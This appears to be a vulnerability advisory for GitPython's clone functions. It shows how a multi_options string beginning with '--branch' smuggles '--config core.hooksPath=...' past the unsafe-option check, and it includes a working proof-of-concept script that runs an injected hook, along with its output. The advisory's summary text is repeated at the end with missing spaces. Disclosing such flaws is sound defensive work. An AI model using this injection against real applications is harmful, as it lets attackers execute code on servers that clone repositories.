Summary
_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.
Details
The vulnerable code is in git/repo/base.py line 1383:
multi = shlex.split(" ".join(multi_options))
Then validation runs on the original list at line 1390:
Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)
Then execution uses the transformed result at line 1392:
proc = git.clone(multi, "--", url, path, ...)
The check at git/cmd.py line 959 uses startswith:
if option.startswith(unsafe_option) or option == bare_option:
"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.
Also affects Submodule.update() via clone_multi_options.
PoC
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from git import Repo
from git.exc import UnsafeOptionError
try:
Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
print("multi_options=['--config', '...']: Block as expected")
except Exception:
pass
DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"
if not SRC.exists():
SRC.mkdir(parents=True)
r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
r("git", "init", "-b", "main")
(SRC / "f").write_text("x\n")
r("git", "add", ".")
r("git", "commit", "-m", "init")
HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)
LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()
try:
Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
pass
if not LOG.exists() and DST.exists():
subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)
print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
print(LOG.read_text().strip())
Output:
multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked
Hook executed: True
texugo
DESKTOP-5w5HH79
Impact
Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.
Summary
_clone()validatesmulti_optionsas the original list, then executesshlex.split(" ".join(multi_options)). A string like"--branch main --config core.hooksPath=/x"passes validation (starts with--branch), but after split becomes["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.Details
The vulnerable code is in
git/repo/base.pyline 1383:Then validation runs on the original list at line 1390:
Then execution uses the transformed result at line 1392:
The check at
git/cmd.pyline 959 usesstartswith:"--branch main --config ..."does not start with"--config", so it passes. Aftershlex.split,"--config"becomes its own token and reaches git.Also affects
Submodule.update()viaclone_multi_options.PoC
Output:
Impact
Any application passing user input to
multi_optionsinclone_from(),clone(), orSubmodule.update()is vulnerable. Attacker embeds--config core.hooksPath=<dir>inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.